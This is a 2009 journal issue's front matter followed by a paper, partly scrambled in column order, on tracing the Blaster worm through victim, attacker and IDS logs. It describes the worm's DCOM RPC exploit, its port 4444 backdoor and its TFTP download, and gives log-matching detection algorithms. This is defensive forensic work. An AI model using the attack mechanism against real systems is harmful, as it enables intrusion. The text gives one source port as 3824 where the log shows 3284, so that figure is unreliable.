IJCSIS Vol. 4, No. 1 & 2, August 2009 ISSN 1947-5500
International Journal of Computer Science & Information Security
© IJCSIS PUBLICATION 2009
Editorial Message from IJCSIS Editor The Editorial Board presents to the research community the 4th volume of the International Journal of Computer Science and Information Security (IJCSIS,
IJCSIS IJCSIS IJCSIS IJCSIS
Vol. 4, No. 1 & 2, August 2009). We pursue our commitment to quality publication and high impact research dissemination and therefore, IJCSIS Technical Program Committee has been very selective with a 29.5% paper acceptance rate after peer-reviewing process. Besides our open access policy to download all publications, all IJCSIS articles indexed in major academic or scientific databases.
Moreover, this edition proposes a good blend of quality research papers in computer networking, information & communication security, mobile & wireless networking, QoS issues etc. We thank all authors who have submitted and published their research papers in this issue and wish for long-term fruitful research collaborations. Special thanks to anonymous reviewers for their service to IJCSIS.
We hope that you will find this IJCSIS edition a useful state-of-the-art literature reference.
Available at http://sites.google.com/site/ijcsis/ IJCSIS Vol. 4, No. 1 & 2, August 2009 Edition ISSN 1947-5500 © IJCSIS 2009, USA.
IJCSIS EDITORIAL BOARD Dr. Gregorio Martinez Perez Associate Professor - Profesor Titular de Universidad University of Murcia (UMU), Spain Dr. Yong Li School of Electronic and Information Engineering, Beijing Jiaotong University P.R. China Dr. Sanjay Jasola Professor and Dean School of Information and Communication Technology, Gautam Buddha University, Dr Riktesh Srivastava Assistant Professor, Information Systems Skyline University College, University City of Sharjah, Sharjah, PO 1797, UAE Dr. Siddhivinayak Kulkarni University of Ballarat, Ballarat, Victoria Australia Professor (Dr) Mokhtar Beldjehem Sainte-Anne University Halifax, NS, Canada
TABLE OF CONTENTS 1. Tracing Technique for Blaster Attack Siti Rahayu S., Robiah Y., Shahrin S., Faizal M. A., Mohd Zaki M, Irda R. Faculty of Information Technology and Communication Univeristi Teknikal Malaysia Melaka, Durian Tunggal, Melaka, Malaysia 2. Optimization of Bit Plane Combination for Efficient Digital Image Watermarking Sushma Kejgir & Manesh Kokare, Electronics & Tele. Engineering, SGGS Institute of Engineering & Technology, Vishnupuri, Nanded, Maharashtra, India 3. Retrieval of Remote Sensing Images Using Colour & Texture Attribute Priti Maheswary, Research Scholar, Department Of Computer Application, Maulana Azad National Institute of Technology, Bhopal, India Dr. Namita Srivastava, Assistant Professor, Department Of Mathematics, Maulana Azad National Institute of Technology, Bhopal, India 4. Consideration Points: Detecting Cross-Site Scripting Suman Saha, Dept. of Computer Science and Engineering, Hanyang University, Ansan, South Korea 5. Experimental Performances Analysis of Load Balancing Algorithms in IEEE 802.11 HAMDI Salah, Computer Sciences Department, ISSAT Of Sousse, Sousse, Tunisia SOUDANI Adel & TOURKI Rached, Physique Department, Eμe Laboratory, Faculty Of Sciences Of Monastir, Monastir, Tunisia 6. Exploration of the Gap Between Computer Science Curriculum and Industrial I.T Skills Requirements Azeez Nureni Ayofe & Azeez Raheem Ajetola , Department of Maths & Computer Science, College of Natural and Applied Sciences, Fountain University, Osogbo, Osun State, Nigeria. 7. Visualization of Mined Pattern and Its Human Aspects Ratnesh Kumar Jain & Dr. R. S. Kasana, Department of Computer Science & Applications, Dr. H. S. Gour, University, Sagar, MP (India) Dr. Suresh Jain, Department of Computer Engineering, Institute of Engineering & Technology, Devi Ahilya University, Indore, MP (India) 8. Handwritten Farsi Character Recognition using Artificial Neural Network Reza Gharoie Ahangar, Mohammad Farajpoor Ahangar Azad University of Babol branch Iran 9. Energy Efficient Location Aided Routing Protocol for Wireless MANETs Mohammad A. Mikki, Computer Engineering Department, IUG, P. O. Box 108, Gaza, Palestine 10. Constraint Minimum Vertex Cover in K-Partite Graph: Approximation Algorithm and Complexity Analysis Kamanashis Biswas, Computer Science and Engineering Department, Daffodil International University, 102, Shukrabad, Dhaka-1207 S.A.M. Harun, Right Brain Solution, Flat# B4, House# 45, Road# 27, Banani, Dhaka 11. Hardware Virtualization Support In INTEL, AMD And IBM Power Processors Kamanashis Biswas, Lecturer, CSE Dept., Daffodil International University 12. Dynamic Multimedia Content Retrieval System in Distributed Environment R. Sivaraman , R. Prabakaran, S. Sujatha Anna University Tiruchirappalli, Tiruchirappalli, India
13. Enhanced Mode Selection Algorithm for H.264 encoder for Application in Low Computational power devices Sourabh Rungta, CSE Department, RCET, Durg, India. Kshitij Verma, ABV-IIITM, Gwalior, India Neeta Tripathi, ECE Department., RSRCET, Durg, India. Anupam Shukla, ICT Department., ABV-IIITM, Gwalior, India. 14. Channel Equalization in Digital Transmission Md. Taslim Arefin, Dept. of CSE, Faculty of Egineering, University of Development Alternative(UODA), Dhaka, Bangladesh Kazi Mohammed Saidul Huq, Miguel Bergano & Atilio Gameiro, Research Engineer, Institute of Telecommunications, Aveiro, Portugal 15. An Enhanced Static Data Compression Scheme Of Bengali Short Message Abu Shamim Mohammad Arif, Assistant Professor, Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh. Asif Mahamud, Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh. Rashedul Islam, Computer Science & Engineering Discipline, Khulna University, Khulna, Bangladesh 16. QoS Provisioning Using Hybrid FSO-RF Based Hierarchical Model for Wireless Multimedia Sensor Networks Saad Ahmad Khan & Sheheryar Ali Arshad, Department of Electrical Engineering, University Of Engineering & Technology, Lahore, Pakistan, 54890 17. Minimizing Cache Timing Attack Using Dynamic Cache Flushing (DCF) Algorithm Jalpa Bani and Syed S. Rizvi, Computer Science and Engineering Department, University of Bridgeport, Bridgeport, CT 06601 18. A Survey of Attacks, Security Mechanisms and Challenges in Wireless Sensor Networks Dr. G. Padmavathi, Prof and Head, Dept. of Computer Science, Avinashilingam University for Women, Coimbatore, India, Mrs. D. Shanmugapriya, Lecturer, Dept. of Information Technology, Avinashilingam University for Women, Coimbatore, India, 19. Computational Complexities and Breaches in Authentication Frameworks of BWA Raheel Maqsood Hashmi, Arooj Mubashara Siddiqui, Memoona Jabeen, Khurram S. Alimgeer, Shahid A. Khan, Department of Electrical Engineering, COMSATS Institute of Information Technology Islamabad, Pakistan 20. Codebook Design Method for Noise Robust Speaker Identification based on Genetic Algorithm Md. Rabiul Islam, Department of Computer Science & Engineering, Rajshahi University of Engineering & Technology, Rajshahi-6204, Bangladesh. Md. Fayzur Rahman, Department of Electrical & Electronic Engineering, Rajshahi University of Engineering & Technology, Rajshahi-6204, Bangladesh. 21. A Step towards Software Corrective Maintenance: Using RCM model Shahid Hussain, Namal University, Mianwali Dr. Bashir Ahmad, ICIT, Gomal University, D.I.Khan Muhammad Zubair Asghar, ICIT, Gomal University, D.I.Khan 22. Electronic Authority Variation M.N.Doja† and Dharmender Saini††, Jamia Millia Islamia (CSE Department), New Delhi, India
23. A Novel Model for Optimized GSM Network Design Alexei Barbosa de Aguiar, Plácido Rogério Pinheiro, Álvaro de Menezes S. Neto, Ruddy P. P. Cunha, Rebecca F. Pinheiro Graduate Program in Applied Informatics, University of Fortaleza, Av. Washington Soares 1321, Sala J-30, Fortaleza, CE, Brazil, 60811-905 24. A Study on the Factors That Influence the Consumers’ Trust on E-commerce Adoption Yi Yi Thaw, Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, Tronoh, Malaysia Ahmad Kamil, Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, Tronoh, Malaysia Dhanapal Durai Dominic, Department of Computer and Information Sciences, Universiti Teknologi PETRONAS, Tronoh, Malaysia 25. The Uniformization Process of the Fast Congestion Notrification (FN) Mohammed M. Kadhum MIEEE, and Suhaidi Hassan SMIEEE InterNetWorks Research Group, College of Arts and Sciences, Universiti Utara Malaysia, 06010 UUM Sintok, MALAYSIA 26. On The Optimality Of All-To-All Broadcast In k-ary n-dimensional Tori Jean-Pierre Jung & Ibrahima Sakho, UFR MIM, Université de Metz, Ile du Saulcy BP 80794 - 57012 Metz Cedex 01 – France 27. Resource Matchmaking Algorithm using Dynamic Rough Set in Grid Environment Iraj Ataollahi, Mortza Analoui Iran University of Science and Technology/Computer Engineering Department, Tehran, Iran 28. Impact of Rushing attack on Multicast in Mobile Ad Hoc Network V. Palanisamy, Reader and Head (i/c), Department of Computer Science & Engineering, Alagappa University, Karaikudi, Tamilnadu ,India P. Annadurai, Lecturer in Computer Science, Kanchi Mamunivar Centre for Post Graduate Studies (Autonomous) , Lawspet, Puducherry, India. 29. A Hybrid multi objective particle swarm optimization method to discover biclusters in microarray data S. Amirhassan Monadjemi, Department of Computer Engineering, Faculty of Engineering, University of Isfahan, Isfahan, 81746, Iran Mohsen lahkargir *, Department of Computer Engineering, Islamic Azad University, najafabad branch, Isfahan, 81746, Iran Ahmad Baraani Dastjerdi, Department of Computer Engineering, Faculty of Engineering, University of Isfahan 30. Predictors Of Java Programming Self–Efficacy Among Engineering Students In A Nigerian University Philip Olu Jegede, Institute of Education, Obafemi Awolowo University, Ile-Ife, Nigeria
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Tracing Technique for Blaster Attack Siti Rahayu S., Robiah Y., Shahrin S., Faizal M. A., Mohd Zaki M, Irda R. Faculty of Information Technology and Communication Univeristi Teknikal Malaysia Melaka, Durian Tunggal, Melaka, Malaysia
[email protected],
[email protected],
[email protected],
[email protected],
[email protected],
[email protected] II. RELATED WORK
Abstract - Blaster worm of 2003 is still persistent, the infection appears to have successfully transitioned to new hosts as the original systems are cleaned or shut off, suggesting that the Blaster worm, and other similar worms, will remain significant Internet threats for many years after their initial release. This paper is to propose technique on tracing the Blaster attack from various logs in different OSI layers based on fingerprint of Blaster attack on victim logs, attacker logs and IDS alert log. The researchers intended to do a preliminary investigation upon this particular attack so that it can be used for further research in alert correlation and computer forensic investigation.
W32.Blaster.Worm is a worm that exploits the DCOM RPC vulnerability (described in Microsoft Security Bulletin MS03-026) using TCP port 135. If a connection attempt to TCP port 135 is successful, the worm sends an RPC bind command and an RPC request command containing the buffer overflow and exploit code. The exploit opens a backdoor on TCP port 4444, which waits for further commands. The infecting system then issues a command to the newly infected system to transfer the worm binary using Trivial File Transfer Protocol (TFTP) on UDP port 69 from the infecting system and execute it.
Keyword; Tracing technique, Blaster attack, fingerprint, log
I.
The worm targets only Windows 2000 and Windows XP machines. While Windows NT and Windows 2003 Server machines are vulnerable to the aforementioned exploit (if not properly patched), the worm is not coded to replicate to those systems. This worm attempts to download the msblast.exe file to the %WinDir%\system32 directory and then execute it.
INTRODUCTION
The Blaster worm of 2003 infected at least 100,000 Microsoft Windows systems and cost millions in damage. In spite of cleanup efforts, an antiworm, and a removal tool from Microsoft, the worm persists [1]. According to [2], research on Blaster attack is significant due to the multitude of malware such as Blaster worm has itself evolved into a complex environment and has potential for reinfection by either itself or another worm, to occur using the same exploit.
The Blaster worm’s impact was not limited to a short period in August 2003. According to [3], a published survey of 19 research universities showed that each spent an average of US$299,579 during a five-week period to recover from the Blaster worm and its variants. The cost of this cleanup effort has helped solidify a growing view of worms not as acts of Internet vandalism but as serious crimes. Although the original Blaster.A author was never caught, authors of several other variants have been apprehended.
Recent tools targeted at eradicating it appear to have had little effect on the global population. In the persistent population analysis, the infection appears to have successfully transitioned to new hosts as the original systems are cleaned or shut off, suggesting that the Blaster worm, and other similar worms, will remain significant Internet threats for many years after their initial release and its suggested that the Blaster worm is not going away anytime soon. Therefore, the objective of this paper is to propose technique on tracing the Blaster attack from various logs in different OSI layers. The researchers intended to do a preliminary investigation upon this particular attack so that it can be used for further research in alert correlation and computer forensic investigation.
There are various research techniques done by others researcher in detecting attack. It can either use signaturebased, anomaly-based or specification-based. The signature-based as described by [4] will maintain the database of known intrusion technique and detects intrusion by comparing behaviour against the database whereas the anomaly-based detection techniques will analyses user behaviour and the statistics of a process in normal situation, and it checks whether the system is being used in a different manner. [5] has described that this technique can overcome misuse detection problem by focusing on normal system behaviour rather than attack behaviour. The specification-
1
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
based detection according to [6] will rely on program specifications that describe the intended behaviour of security-critical programs. The research trend for detecting attack has move towards combination or hybrid of either signature-based with anomaly-based done by [7], [8] and [5] or specification-based with anomaly-based done by [9].
A. Network Environment Setup The network setup for this experiment will refer to the network simulation setup [13] done by the MIT Lincoln Lab and it has been slightly modified using only Centos and Windows XP compared to MIT Lincoln Lab which using Linux, Windows NT, SunOS, Solaris, MacOS and Win98 to suit our experiment’s environment. The network design is as shown below in Figure 2.
For the purpose of this preliminary experiment, the researchers have selected only signature-based detection technique and in future, intend to combine it with anomalybased detection technique for further improvement of tracing attack. System log files contain valuable evidence pertaining to computer attacks. However, the log files are often massive, and much of the information they contain is not relevant to the network administrator. Furthermore, the files almost always have a flat structure, which limits the ability to query them. Thus, it is extremely difficult and time consuming to extract and analyse the trace of attacks from log files [10]. This paper will select the most valuable attributes from a log file that is relevance to the attack being traced. Our research is preliminary experiment of tracing the Blaster.B attack in diverse log resources to provide more complete coverage of the attack space [11]. According to [12], the network attack analysis process involves three main procedures: initial response, media imaging duplication, and imaged media analysis. Our proposed approach focuses on the procedure of media imaging duplication and imaged media analysis. This paper describes how procedure can be applied to the numerous logs, which can derive the top facts in each of the diverse connections and locate malicious events spread across the network.
Figure 2: Preliminary Network Design for Blaster Attack Simulation
This network design consists of two switches configured to Vlan 3 (192.168.3.0) and Vlan 2 (192.168.2.0), one router, two servers for Intrusion Detection System (IDS) and Network Time Protocol (NTP) run on Centos 4.0, two victims run on Windows XP on each Vlan and one attacker run on Vlan 2. The log files that expected to be analysed are four types of log files (personal firewall log, security log, system log and application log) that shall be generated by host level device and one log files by network level device (alert log by IDS). Ethereal 0.10.7 [6] were installed in each host to verify the traffic between particular host and other device and tcpdump script is activated in IDS to capture the traffic for the whole traffic within Vlan 2 and Vlan 3.
III. EXPERIMENT APPROACH Our proposed approach in this preliminary experiment used four methods: Network Environment Setup, Attack Activation, Log Collection and Log Analysis and its depicted in Figure 1. The details of the method are discussed in the following sub-section.
B. Attack Activation Event viewer and time synchronisation using NTP server is configured before attack is launched. Then Blaster variant is installed and activated on the attacker machine. This experiment runs for 30 minutes. Once the victim
Figure 1: Method use in the preliminary experiment
2
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
machine is successfully infected by the Blaster, the experiment is terminated.
TABLE II. Selected Log Attribute Log filenames pfirewall.log
C. Log Collection Log is collected at two different OSI layers which are application layer and network layer. Each victim and attacker machine will generated personal firewall log, security log, application log, system log and ethereal log. The IDS machine will generate alert log and tcpdump log. Ethereal and tcpdump files are used to verify the simulation attack and compare it with the others log files. For the purpose of this paper, both verification logs are not discussed due to limited page. The summary of the various log files generated is as shown in Table I.
security.evt application.evt system.evt alert.log
TABLE I. Various log files generated from two different OSI layers
Selected Log Attribute • Source IP address • Destination IP Address • Destination port • Source port • Action • Date • Time • • • • • • • •
Date Time Category Date Time Source IP address Destination IP Address Category
• •
Variable SrcIP DstIP
• • • • •
Dstport Srcport Act D T
• • • • • • •
D T Cat D T SrcIP DstIP
•
Cat
IV. PROPOSED TRACING TECHNIQUE In order to identify the attacker, the researchers have proposed a tracing technique as depicted in Figure 3, consists of three elements: victim, attacker and IDS. The algorithm used in each element will be elaborated in the next sub-section.
C. Log Analysis In this network attack analysis process the researchers has implement the media imaging duplication using IDS and imaged media analysis by analysing logs generated in Table 1. The objective of the log analysis is to identify the Blaster attack by observing the specific characteristics of the Blaster attack which exploits the DCOM RPC vulnerability using TCP port 135. This worm attempts to download the msblast.exe file to the %WinDir%\system32 directory and then execute it. The exploit opens a backdoor on TCP port 4444, which waits for further commands. In this analysis, the researchers have selected the valuable attributes that is significance to the attack being traced as shown in Table II.
Figure 3: Proposed Tracing Technique
A. Tracing Algorithm for Victim logs In our tracing procedure, the tracing activity will be primarily done at victim site by examining the Blaster fingerprint for victim logs as shown in Figure 4. These
3
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Blaster fingerprint is derived from several studies done by [14], [15], [16].
Where, x = Victim Host y = Attacker Host Victim Personal firewall log tracing algorithm Input Action, Protocol, Destination Port If (Action = Open-Inbound) and (Protocol = TCP) and (Destination Port = 135) Date = DFW x Time = TFW1 x Source IP = SrcIPx Destination IP = DestIPx Source Port = SrcPortax Print Source IP, Date, Time, Source Port, Destination IP, Action, Protocol, Destination Port If (Action = Open) and (Protocol = TCP) and (Destination Port = 4444) and (Date = DFW x) and (Time >= TFW1 x) and (Source IP = SrcIPx) and (Destination IP = DestIPx) Time = TFW2 x Source Port = SrcPortex Print Source IP, Date, Time, Source Port, Destination IP, Action, Protocol, Destination Port End End Victim Security log tracing algorithm Input Date (DFW x) Input Time (TFW2 x) Input AuditCategory If (Date = DFWx) and (Time >= TFW2x) and (AuditCategory = ‘\system32\svchost.exe, generated an application error’) Time = TAppl x Date = DAppl x Print Time, Date, AuditCategory End
Figure 4: Fingerprint of Blaster attack in each selected victim logs
In this analysis, the researchers have specified 192.168.3.13 as one of the victim and 192.168.2.150 as attacker (refer to Figure 2). The tracing tasks are initially started at the victim personal firewall log followed by security log, system log and application log. The data can be further analysed by referring to Blaster fingerprint for attacker logs by examine the attacker personal firewall and security log. Figure 6, 9 and 12 is the relevant information that has been extracted from selected logs.
Victim System log tracing algorithm Input Date (DAppl x) Input Time (TAppl x) Input AuditCategory If (Date = DAppl x) and (Time >= TAppl x) and (AuditCategory = ‘The Remote Procedure Call (RPC) service terminated unexpectedly’) Time = TimeSys x Date = DateSys x Print Time, Date, AuditCategory End
Figure 5 shows the tracing algorithm for each selected victim logs based on Blaster attack fingerprint as in Figure 4.
Victim Application log tracing algorithm Input Date (DSys x) Input Time (TSys x) Input AuditCategory If (Date = DSys x) and (Time >= TSys x) and (AuditCategory = ‘Windows is shutting down’) Time = TimeSec x Date = DateSec x Print Time, Date, AuditCategory End
The aim of these tracing tasks is to examine the trace left by the Blaster in the selected log. The trace is based on the Blaster attack fingerprint which primarily done at personal firewall log. In these tracing tasks, the researchers have manipulated the attributes selected in Table II. The searching start with the victim IP address is 192.168.3.13, and the action is OPEN-BOUNDED which show the attacker is trying to open the connection. The protocol used is TCP and the destination port is 135 which show that Blaster attack attempt to establish connection.
Figure 5: Tracing algorithm for Victim logs
4
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Subsequently, to trace whether the attack was exploited, the log is further search on the same date and time within the range of the Blaster attack attempt to establish connection. The destination IP address (DestIPx) is victim IP address, the source IP address (SrcIPx) is the potential attacker IP address, the action is DROP, protocol used is TCP and destination port is 4444. From this trace, the potential attacker source port is known and it indicates that the Blaster is exploited using port 4444. This attack can be further verified by examining the personal firewall log at the machine of the potential attacker.
Victim Personal firewall log 2009-05-07 14:13:34 OPEN-INBOUND TCP 192.168.2.150 192.168.3.13 3284 135 - - - - - - - 2009-05-07 14:14:01 DROP TCP 192.168.2.150 192.168.3.13 3297 4444 48 S 862402054 0 64240 - Victim Security log 5/7/2009 2:20:03 PM Security Success Audit System Event 513 NT AUTHORITY\SYSTEM AYU Windows is shutting down. All logon sessions will be terminated by this shutdown.
To support the information obtained in personal firewall log, further investigation done in the security log, system log and application log. The effect of the exploitation can be traced by looking at the message embedded in the application log, system log and security log which shows message “C:\WINDOWS\system32\svchost.exe, generated an application error”, “Windows must now restart because the Remote Procedure Call (RPC) service terminated unexpectedly” and “Windows is shutting down. All logon sessions will be terminated by this shutdown” respectively. All of these messages shown the effect of Blaster attack, which it exploits the RPC services. The highlighted data in Figure 6 is extracted by using the tracing algorithm in Figure 5 accordingly.
Victim System log 5/7/2009 2:19:00 PM Service Control Manager Error None 7031 N/A AYU The Remote Procedure Call (RPC) service terminated unexpectedly. It has done this 1 time(s). The following corrective action will be taken in 60000 milliseconds: Reboot the machine. 5/7/2009 2:19:00 PM USER32 Information None 1074 NT AUTHORITY\SYSTEM AYU The process winlogon.exe has initiated the restart of AYU for the following reason: No title for this reason could be found Minor Reason: 0xff Shutdown Type: reboot Comment: Windows must now restart because the Remote Procedure Call (RPC) service terminated unexpectedly Victim Application log 5/7/2009 2:20:01 PM EventSystem Error (50) 4609 N/A AYU The COM+ Event System detected a bad return code during its internal processing. HRESULT was 800706BA from line 44 of d:\nt\com\com1x\src\events\tier1\eventsystemobj .cpp. Please contact Microsoft Product Support Services to report this error. 5/7/2009 2:19:00 PM DrWatson Information None 4097 N/A AYU The application, C:\WINDOWS\system32\svchost.exe, generated an application error The error occurred on 05/07/2009 @ 14:19:00.441 The exception generated was c0000005 at address 0018759F (<nosymbols>) 5/7/2009 2:14:00 PM Application Error Error (100) 1000 N/A AYU Faulting application svchost.exe, version 5.1.2600.0, faulting module unknown, version 0.0.0.0, fault address 0x00000000. 5/7/2009 2:20:03 PM EventLog Information None 6006 N/A AYU The Event log service was stopped.
B. Tracing Algorithm for Attacker logs The tracing algorithm for tracing the attacker logs in Figure 8 is based on Blaster attack fingerprint in Figure 7. The same tracing step in victim logs is used in investigating the attacker logs. The only difference is the action is OPEN and extra information obtained from previous tracing tasks: source port (SrcPortax), date (DFWx) and time (TFW1x) is used to verify the existence of communications between attacker and victim machine on port 135.
Figure 6: Extracted data from Victim logs
From these trace, the source IP address (SrcIPx) and source port of potential attacker is known where source IP address is 192.168.2.150, source port (SrcPortax) is 3824 and the date and time is 2009-05-07 14:13:34 also known to shows when the attack is happen.
Figure 7: Fingerprint of Blaster attack in each selected attacker log
5
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
Then, to verify that there is an exploitation done by attacker to victim machine, the main attributes used in the personal firewall log are destination IP address, action is OPEN, protocol is TCP, destination port is 4444, source port (SrcPortex), date (DFWx) and time (TFW2y).
The highlighted data in Figure 9 is extracted by using the tracing algorithm in Figure 8 accordingly. From the tracing, there is an evidence shows that the attack is launched by this attacker machine (192.168.2.150) at 2009-05-07 14:13:33 which is concurrent with the extracted data in Figure 6. Hence, the attacker can be identified using this tracing algorithm.
To validate the information obtained in the attacker personal firewall log, further analysis done in the security log, system log and application log. The process created is found in the security log with the message “A new process has been created and the Image File Name: C:\Documents and Settings\aminah\Desktop\Blaster.exe”.
Attacker Personal firewall log 2009-05-07 14:13:33 OPEN TCP 192.168.2.150 192.168.3.12 3283 135 - - - - - - - 2009-05-07 14:13:33 OPEN TCP 192.168.2.150 192.168.3.13 3284 135 - - - - - - - 2009-05-07 14:13:33 OPEN TCP 192.168.2.150 192.168.3.14 3285 135 - - - - - - - 2009-05-07 14:13:33 OPEN TCP 192.168.2.150 192.168.3.15 3286 135 - - - - - - - 2009-05-07 14:13:35 OPEN TCP 192.168.2.150 192.168.3.12 3296 4444 - - - - - - - 2009-05-07 14:13:56 OPEN TCP 192.168.2.150 192.168.3.13 3297 4444 - - - - - - - 2009-05-07 14:14:11 CLOSE TCP 192.168.2.150 192.168.3.12 3283 135 - - - - - - - 2009-05-07 14:14:11 CLOSE TCP 192.168.2.150 192.168.3.13 3284 135 - - - - - - - 2009-05-07 14:14:11 CLOSE TCP 192.168.2.150 192.168.3.15 3286 135 - - - - - - - 2009-05-07 14:15:11 CLOSE TCP 192.168.2.150 192.168.3.12 3296 4444 - - - - - - - 2009-05-07 14:15:11 CLOSE TCP 192.168.2.150 192.168.3.13 3297 4444 - - - - - - - 2009-05-07 14:15:11 CLOSE TCP 192.168.2.150 192.168.3.34 3307 135 - - - - - - - -
Where, x = Victim Host y = Attacker Host Attacker Personal firewall log tracing algorithm Input Action, Protocol, Destination Port Input Date (obtained from tracing victim log, DFW x) Input Time (obtained from firewall victim log, TFW1 x) Input Source IP (obtained from firewall victim log, SrcIPx) Input Destination IP (obtained from firewall victim log, DestIPx) Input Source Port to attempt attack (obtained from firewall victim log, SrcPortax) Input Source Port to exploit attack (obtained from firewall victim log, SrcPortex) If (Action = Open) and (Protocol = TCP) and (Destination Port = 135) and (Date = DFWx) and(Time <= TFW1 x) and (Source IP = SrcIPx) and (Destination IP = DestIPx) and (Source Port = SrcPortax) Time = TFW1y Date = DFWy Print Source IP, Destination IP, Date, Time, Source Port, Destination Port, Protocol, Action If (Action = Open) and (Protocol = TCP) and (Destination Port = 4444) and (Date = DFWy) and (Time >= TFW1y) and (Source IP = SrcIPx) and (Destination IP = DestIPx) and (Source Port = SrcPortex) Time = TFW2 y Print Source IP, Date, Time, Source Port, Destination IP, Action, Protocol, Destination Port End End
Attacker Security log 5/7/2009 2:13:08 PM Security Success Audit Detailed Tracking 592 RAHAYU2\aminah RAHAYU2 "A new process has been created: New Process ID: 1640 Image File Name: C:\Documents and Settings\aminah\Desktop\Blaster.exe Creator Process ID: 844 User Name: aminah Domain: RAHAYU2 Logon ID: (0x0,0x17744)
Figure 9: Extracted data from Attacker logs
C. Tracing Algorithm for IDS logs The Blaster attack fingerprint in Figure 10 is the base for tracing algorithm in IDS alert logs as depicted in Figure 11. Portsweep (TCP portscan) Activity
Attacker Security log tracing algorithm Input Date (DFWy) Input Time (TFW2y) Input AuditCategory
Blaster fingerprint at IDS Alert logs
If (Date = DFWy) and (Time >= TFW2y) and (AuditCategory = ‘Windows is shutting down’) Time = TimeSec y Date = DateSec y Print Time, Date, AuditCategory End
Alarm Attacker IP address
Figure 10: Fingerprint of Blaster attack in IDS log
Figure 8: Tracing algorithm for Attacker logs
6
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
To confirm that there is an exploitation done by attacker, extra information can be obtained from IDS alert log. The main attributes used in the IDS alert log are date, time, Source IP Address and destination IP address. If the destination IP address does not exist, the alert has generated false positive alert. However, existence of source IP address is good enough to verify that this source IP address had launched an attack as reported as portsweep activity in IDS alert log shown in Figure 12.
OSI layers and researchers’ approach focuses on the procedure of media imaging duplication and imaged media analysis. Researchers have selected the most valuable attributes from the log files that are relevance to the attack being traced. From the analysis researcher has propose a technique on tracing the Blaster attack using specific tracing algorithm as in Figure 3 for each log which is based on fingerprint of Blaster attack on victim logs, attackers logs and IDS alert log. This tracing technique is primarily used signature-based technique and later on the researchers intend to merge it with anomaly-based technique to improve the tracing capability. All of these logs are interconnected from one log to another log to provide more complete coverage of the attack space information. Further improvement should be done on generalising the process of detecting the worm attack that will produce attack and trace pattern for alert correlation and computer forensic investigation research.
Input Date (obtained from victim firewall log, DFW x) Input Start Time (obtained from victim firewall log, TFW1x) Input End Time (obtained from victim firewall log, TFW2x) Input Source IP (obtained from victim firewall log, SrcIPx) Input Destination IP (obtained from victim firewall log, DestIPx) If (Date = DFW x) and (TFW1x =<Time>= TFW2x) and (Source IP = SrcIPx) and (Destination IP = DestIPx) Time = TIDS Print Date, Time, Source IP, Destination IP, Alert Message Else If (Date = DFW x) and (TFW1x =<Time>= TFW2x) and (Source IP = SrcIPx) Time = TIDS Print Date, Time, Source IP, Destination IP, Alert Message End End
VI. REFERENCES [1]. Bailey, M., Cooke, E., Jahanian, F., Watson, D., & Nazario, J. (2005). The Blaster Worm: Then and Now. IEEE Computer Society [2]. Crandall, J. R., Ensafi, R., Forrest, S., Ladau, J., & Shebaro, B. (2008). The Ecology of Malware. ACM . [3]. Foster, A. L. (2004). Colleges Brace for the Next Worm. The Chronicle of Higher Education, 50 (28), A29. [4]. Okazaki, Y., Sato, I., & Goto, S. (2002). A New Intrusion Detection Method based on Process Profiling. Paper presented at the Symposium on Applications and the Internet (SAINT '02) IEEE. [5]. Sekar, R., Gupta, A., Frullo, J., Shanbhag, T., Tiware, A., & Yang, H. (2002). Specification-based Anomaly Detection: A New Approach for DetectingNetwork Intrusions. Paper presented at the ACM Computer and Communication Security Conference. [6]. Ko, C., Ruschitzka, M., & Levitt, K. (1997). Execution monitoring of security critical programs in distributed systems: A Specification-based Approach. Paper presented at the IEEE Symposium on Security and Privacy. [7]. Bashah, N., Shanmugam, I. B., & Ahmed, A. M. (2005). Hybrid Intelligent Intrusion Detection System. Paper presented at the World Academy of Science, Engineering and Technology, June 2005. [8]. Garcia-Teodoro, P., E.Diaz-Verdejo, J., MarciaFernandez, G., & Sanchez-Casad, L. (2007). Networkbased Hybrid Intrusion Detection Honeysystems as Active Reaction Schemes. IJCSNS International Journal of Computer Science and Network Security, 7(10, October 2007). [9]. Adelstein, F., Stillerman, M., & Kozen, D. (2002). Malicious Code Detection For Open Firmware. Paper
Figure 11: IDS tracing algorithm
[**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] 05/07-14:10:56.381141 192.168.2.150 -> 192.168.3.1 PROTO:255 TTL:0 TOS:0x0 ID:14719 IpLen:20 DgmLen:158 [**] [122:3:0] (portscan) TCP Portsweep [**] [Priority: 3] 05/07-14:11:43.296733 192.168.2.150 -> 192.168.3.34 PROTO:255 TTL:0 TOS:0x0 ID:0 IpLen:20 DgmLen:162 DF Figure 12: Extracted data from IDS alert log
The extracted data depicted from Figure 12, verified that the source IP address (192.168.2.150) is the attacker due to the port scanning alarm generated by the IDS. Thus, all the three tracing algorithm have the capability to identify the attacker. V. CONCLUSION AND FUTURE WORKS In this study, the researchers have reviewed and analysed the Blaster attack from various logs in different
7
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
